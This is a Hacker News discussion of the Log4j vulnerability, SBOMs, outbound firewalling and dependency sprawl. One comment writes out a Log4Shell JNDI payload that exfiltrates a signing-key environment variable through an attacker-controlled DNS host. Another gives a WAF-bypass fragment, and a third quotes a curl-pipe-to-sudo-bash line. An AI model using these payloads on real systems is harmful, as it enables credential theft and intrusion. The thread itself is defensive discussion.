Hacker News new | past | comments | ask | show | jobs | submit login
[flagged] Apache Log4j vulnerability shows the importance of SBOMs of running apps (codenotary.com)
45 points by vchain-dz on Dec 13, 2021 | hide | past | favorite | 56 comments



This is essentially just an ad for their service, no? Why is this being upvoted? I'm surprised "SBOM" is actually an acronym people would recognize enough to upvote without reading the article.


"SBOM" almost always refers to Service Bill of Materials in my experience. So not even the acronym would stand out in this usage.


Usually "Software Bill of Materials".


Yeah, popular usage seems to have shifted over recent years. I'm sure my experience is biased by my close work with discrete manufacturing.

Searching Google incognito does seem to validate your assertion.


If your doing software which will need to pass an FDA audit, having a “SBOM” is required, though most would use “SOUP”, software of unknown providence. In these cases I can see a service like this be very useful.

There’s a ton of stuff on HN which is just ads for SaaS companies, at least this is new and different. It’s might also be something many are interested in, in light of the Log4j exploit. It would have help me a great deal.


Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if we had outbound firewalls it could help mitigate these problems.

It seems to me that there is an incredible opportunity for someone with the right background to build this (I wish it was me). I tend to use PAASs like Heroku for my apps and would love it if this was built in! They even know (most of) what other infrastructure my apps talk to. Why is it not part of Docker?

(Obviously everyone should already be using inbound WAF such as CloudFlare)


I was on a team that tried to implement this at a bank, using azure. The idea was not at the app level but at machine (vm) level.

Machines in the legacy data center didn’t have internet access, and so they didn’t want could machines to have it either.

But once we locked down the network so many things broke. Not just user level stuff like doing code builds in maven, but also machine level stuff like enabling drive encryption.

Preventing out of band exfiltration on of data and downloading of exploit materials is very important to a defence in depth approach and none of the clouds seem to embrace it.

The problem was that all azure services were provided on public IP ranges, so given them at VM services needed to communicate with azure Ana gent endpoints we couldn’t block on the IP, so had to implement via HTTP proxies.

Using explicit HTTP proxies was a config night mare as not everything honoured the HTTPS_PROXY env var (e.g. Java). And using an implicit proxy was a nightmare of MITM, custom certs, updating a myriad of trust roots and then the proxy would use a ‘captive portal’ and cause broken redirects.


Exactly! There has got to be a billion dollar company in this if the UX for administering it was done right so it wasn’t a pain.

Little Snitch as an example of UX in this area is perfect as you can run it for a while first to see what is connecting to what, then start looking down everything else.


Google offers a way to access Google services from your VM 1918 IPs so you don't need to use NAT. I wonder if Azure would consider doing the same.


If you do the blocking in Azure via a Network Security Group, it's simple. You can allow outbound traffic to Azure services and deny anything else.


Until an Azure service is misused for exfil.


Not all services support it yet, but private endpoints are a great solution to this issue in azure.


People absolutely do this all the time. With k8s and container policies its easier than ever to audit and can have an element of dynamicism. Docker has many many usecases; if you are using it for workloads in production you’ll want to follow benchmarks like CIS, which will tell you to do this. There are scripts you can run to automate a lot of this.

However, you’d still show up as vulnerable here. This is because even with proper egress filters many systems will default resolve DNS out to the internet. Some people fix this too, by running restricted local DNS servers at another privilege level. But if DNS is your only way out, the worst impact I’ve seen so far is info disclosure - I have not seen RCE possible with this bug when a normal firewall is set up. But hackers are creative so I am keeping an eye out.


> Why are we not all using some sort of outbound firewall for our apps?

Some places do. The systems I deal with definitely do, and it’s common in banking and card payment systems (PCI DSS has strict firewall requirements). Even our non payment systems we still restrict outbound access.

I think it comes down more to what focus your organisation has. Especially how important security plays in it.

This is also why I hate third party APIs that can’t be firewalled by IP/subnet but only by domain. Especially those operating behind a cloud load balancer like AWS ELB, because they are extremely/impossibly difficult to firewall without introducing risk of permitting access to other services also using the load balancer. Dealing with HTTP/HTTPS proxies is a pain and introduces yet another attack vector.


> Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

Not really, but it's important to keep in mind that these kinds of things are less effective than you might imagine. E.g. using the system resolver wouldn't be covered by a firewall in most configurations, so this doesn't help you for an exploit like ${jndi:ldap://${env:AUTH_COOKIE_SIGNING_KEY}.attackercontrolleddns.com} followed by impersonating any user.

Even if you correctly lock down the application server networks and nodes, I'd be surprised to find a restricted DNS resolver in place. It's a good idea for sure, but I'd expect it to be very rarely done. Not least because "exfiltrate data over DNS" is probably not a well-known vector.

> (Obviously everyone should already be using inbound WAF such as CloudFlare)

How is this obvious? This is not a trivial matter.


> How is this obvious?

By using a WAF you are explicitly blocking many standard hacking attempts such as SQLi. At least it seems obvious to me to take the precaution of having one, you can never trust that your code or the library’s you use don’t have security holes.

By using a hosted or managed WAF it means when there is a new venerability found (such as Log4Shel) the service updates the rules and you have a level of mitigation before even patching your system or even being aware of it.


Most WAF attempts to block this failed - there's plenty of twitter posts doing things like ${${j}${n}i: to bypass WAF rules.


A big part of this is that outbound connections are constantly changing. I tried to firewall a web scraper a while ago that as part of its operation had to execute some untrusted JS. It sounded easy - it only ever connects to one site, so just let that pass through. But that site used shared hosting of some kind and their IP address would change on a surprisingly regular basis. The scraper didn't care at all since it used DNS, but firewalls can't do that.

The solution we ended up implementing was to run the scraper through a local HTTP proxy, block all other connections, then use the proxy's config to whitelist the site by the Host header. This, of course, meant doing SSL stripping on the proxy, which was only acceptable because the proxy was ours. If a hosting provider suggested something like this we'd laugh them away.


There are many options for this, but at the end of the day it comes down to "it's a pain in the ass and isn't worth the effort for most applications". Obviously non-interactive exploits like log4shell change the math on this.

My current company is using Cilium (and CNPs) within Kubernetes to solve for this, although it does have some issues. Calico has fqdn filtering in it's "Pro" versions.

For covering a whole VPC you can look at AWS's Route53 DNS Resolver Firewall (which sort of addresses the same class of concerns. There are gateway's that will address this at a VPC level too (probably the best solution) like Aviatrix or Chaser Systems' "discriminNAT".

The point is that there are solutions for this, just the UX around managing them could be a lot better, and at the current price point isn't worth the risk for the fast majority of projects.


For Heroku - Expedited WAF does filter (inbound) for log4j - but I'm not sure there's a good way to outbound, even with Private Spaces. You can start a dyno that only has access to the other apps in the space, but if log4j was on one of the connected web app servers you'd still be in trouble.

https://expeditedsecurity.com/heroku/how-to-block-log4j-vuln...


> Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

Black hole routing is often used in some more regulated industries (finance):

* https://en.wikipedia.org/wiki/Black_hole_(networking)

There's overhead in setting up proxies and telling all software to use them (browsers can be somewhat automated with proxy auto-config (PAC) files). You could of course just use this technique on your server infrastructure.

But it's a 'non-standard' configuration in a world where everything assumes universal connectivity to everything else.

One interesting idea I've seen mentioned it running a firewall on the system itself on a per-UID basis:

* https://www.cyberciti.biz/tips/block-outgoing-network-access...

So if your have a "www-data" UID that runs the web server, you set up iptables to allow it to answer incoming connections and produce replies, but not generate new connections.

> A web server mostly accepts connections but usually only needs to initiate very few connections itself. Therefore it makes sense to limit the possible outgoing connections to what is actually needed. This makes it much more difficult for an attacker to do harm once he has exploited some web application.

* https://wiki.debian.org/Apache/Hardening#Restrict_outgoing_c...

So if you are compromised with attack code, one of the first things it tends to do is fetch some more advanced code to start rummaging through your system(s): that fetch is potentially blocked because it's a new connection to the malware hosting server (or the C&C server).


See also - software-defined perimeter. Sounds extremely bullshit, but boils down to "network is not used directly at all, everything runs over 'black channels' (e.g. use WireGuard) on a service-by-service * peer-to-peer basis". Tailscale is fairly close to this.


Windows has an enabled by default outbound firewall. The problem is that most apps want to connect to the net these days (check for updates, telemetry, ....) so when an app is installed it adds a firewall exception.


Sure, on desktop.

But for a server app (which you built and manage) where you are only talking to known endpoints everything else should be blocked, but we don’t do it. We all use platforms for our apps where anything we use could be compromised and connect to the outside world!


> where you are only talking to known endpoint everything else should be blocked

I just realized that neither the Windows Firewall, nor the Linux one (ufw/iptables at least) allow you to block based on domain names. They only allow IP address rules.


Netfilter (the kernel backend for the deprecated {ip,arp,ip6,eb}tables and the newer nftables) supports allow/deny by ipsets, and you can configure some DNS resolvers such as dnsmasq to populate an ipset from a DNS name.

This has a few issues, though, such as the fact that it is impossible to allow one site but not another if they are both hosted at the same IP address. After all, DNS names are basically just aliases for IP addresses unless the application layer protocol assigns them some semantic meaning (as is the case with HTTP and TLS).

If that matters, you do have to resort to something protocol-aware like an intercepting HTTP proxy that inspects the Subject Name Indicator for TLS traffic or the Host header for plaintext HTTP traffic. Or a regular HTTP proxy, if your application supports that configuration.


Exactly, there is a technical limitation (I understand why) of only blocking by IP not hostname, if the IP changes it breaks.

Why has this not been solved in the last 50 years? You should be able to block by hostname, it’s how networks are defined.

We are an industry of problem solvers but this one seems to have been ignored.


It is solved, Cisco and other firewalls have no issue blocking or allowing based on FQDN.


Some people do it, but the maintenance effort is nontrivial.


Because then you have to define what the package is going to do and it’s a lot of work. And now you don’t have to do that work.

And of course, in this case it only takes one app using this library that has a legitimate use case for unlimited acces. Unless you find a way to limit libraries separately.


“it’s a lot of work” should never be a reason for not securing an system.

It’s also invite to solve a problem so it’s not a lot of work. It should be easy to secure your systems from making outbound connection.


> “it’s a lot of work” should never be a reason for not securing an system.

It is, though. Software bugs are almost entirely optional: we could just formally verify every piece of software with a mathematical proof. Computer software would still be in the 70s or 80s because of how long that takes, but if security is the only goal of a system, that's what we need to be doing.

In practice, projects balance a multitude of concerns and, while important, cybersecurity is only one of them.

> It’s also invite to solve a problem so it’s not a lot of work. It should be easy to secure your systems from making outbound connection.

This, I agree with wholeheartedly. The way to improve security is to address the factors that put humans in situations where skipping important security steps makes sense.


It’s trivial, just set up your firewall correctly! But if the system works when you block all outbound connections it’s also trivial to describe the required outbound connections: none.

The problem is of course with the 99% of apps that do require some outbound connections.


Many of us do, in fact many use private unrouted networks. Works great on something like EC2 as well.

The issue is that many have come to expect NAT or public IPs as default on their cloud infrastructure and firewalls would result in to many support cases.


You have BOM in maven. You can block dependencies in a maven/gradle build which will fail the build if a sub dependency brings that in. The article incorrectly states that only Java 11 and lower are vulnerable. It's true that they are more vulnerable but newer JDK versions can still be attacked. It's just harder.


"Oh, just run `node install` and you'll be fine..."


If anything, the log4j problem goes a long way to highlight that the "package hell" of node_modules isn't limited to JS apps. log4j is a problem that affects compiled apps written in a mature language. All of the usual complaints about JS apps apply (lots of dependencies, code that's not been audited, developers just adding things without proper consideration, etc), but without the usual "lol javascript isn't a real language!" undertone.


log4j is a problem that affects compiled apps written in a mature language

As a C developer, I disagree with the assertion that Java is a mature language. It's only 26 years old! (And in a practical sense even younger than that, since it has changed a lot since the early versions.)


Fully agree! The point I was trying for is that dependencies have to be managed -- something I've been blathering into the void for a decade, now, without any noticeable impact. Maybe now I'll get those juicy consulting gigs... ;)


It also shows that you have to care not only about the dependencies of your application, but also about the dependencies of applications that you use like Elasticsearch.


Or worse, `curl xxx.com/install.sh | sudo bash`


Even when the supply chain attacks are not related to the JS ecosystem, JS/NPM gets mocked - inaccurately even...


>Even when the supply chain attacks are not related to the JS ecosystem, JS/NPM gets mocked - inaccurately even...

js/npm really desirves it, I lost many hours last week because the shitty philosophy of spiting things not in libraries but in mainly functions and add on top of that packages with incorrect package.json, packages that depend on git repositories or shit where package X is bugged on node version Y so you should upgrade node but if I upgrade node then package W is now incompatible. (I inherited this project os is not my fault it uses outdated stuff or shit that is not longer cool).

With this Java log library it seems it does logging and you don't need also a leftpad and isOdd to have it working, some other library that just defines colors, some other library that changes the output from plain text to csv etc.

IMO using 1 lib for logging, 1 for unit tests, 1 for db access, 1 for http, 1 for GUI makes sense , what is stupid is if this 5 libraries combined will depend on 100+ libraries , we need to push against this since the npm philosophy and CV driven development is spreading.


Exactly. People think it is modular and such a great thing to do, but it is not. Maybe it just has to do with flexing. How many libraries do you have? I have 9000! And then in reality it is just one function per library. Or... I have no idea why they think that this is a good thing to do. Can anyone in favor of having "isOdd" function as a library tell me?


You really can’t blame developers for wanting ease of use when it comes to software and tool/library installation. At the same time it is incumbent upon people at all levels of the chain to make sure that security (and effective tools for managing it) are part of the mindset as well as the process.


This is Java so no: node install... There are Maven dependency commands though.


Actually me who's running a stack of services on Node.JS written in TypeScript had a wonderful weekend. I had my birthday on Sunday and took my girls to Christmas fare. So did my colleagues. The other half of the company were busy resolving the incident ;-)


Something like this code notary should be integrated in the OS. When you install an app, the OS records a list of all it's components (declared in a manifest), and when a vulnerability is discovered the OS could quickly disable the affected apps (or apply a quick remediation).


I just had a look at Airsonic [1] since I'm both a user and a developer and happened upon a related question on Github. Not having access to any fancy-schmancy "SBOM SAAS tool (<blink>try it now for free!!1!</blink>) I just git-grepped the repo which gave me 2 hits. Looking at those I found they were caused by (Apache) commons-logging.jar containing stubs to interface with Log4j. Problem solved.

[1] https://github.com/airsonic-advanced/airsonic-advanced/issue...


No, we’re not gonna buy your shitty SAAS just to parse some .pom files.

If we’re feeling particularly lazy we might even just do mvn dependency:tree


If you’re me, doing operations for X number of clients, having a tool that would have allowed me to know which clients use which version of log4j would have saved me hours yesterday. I don’t know exactly what library random developer at each customer use, nor do I have access to their code. It would have been nice to be able to easily look up which few clients I need to call.


You don’t need to buy anything just use CycloneDX and OWASP Dependency Track https://news.ycombinator.com/item?id=29542271


Does anyone know why one is protected with higher Java versions? I parsed the vuln as being solely in the log4j library.


Log4j2 uses some JVM features to resolve some addresses, and these features can end up blindly loading external classes in the affected JVMs.

Note that non-affected JVMs are still vulnerable to other issues triggered by that resolution process, just not as bad as loading untrusted remote objects. So you should upgrade log4j2 even if you use a non-vulnerable JVM.


Newer Java versions disable deserialization of remote classes via LDAP. You're still vulnerable to deserialization of existing classes, but to exploit that there have to be exploitable classes on the classpath already.


this seems to represent a rather limited concept of what an actual SBOM would need to be, rather impacted by someone working (primarily?) with non-compiled languages.

If your app depends on compiled libraries, then the build-time options used to construct the library are as important as version and checksum information.

I see this a lot on HN and the links here - lots of developers for whom a "dependency" is literally a file of non-compiled code, and thus not subject to changes in behavior unless edited. This is not true for compiled languages (and, for all I know, might not even be true for some non-compiled languages).




Join us for AI Startup School this June 16-17 in San Francisco!

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: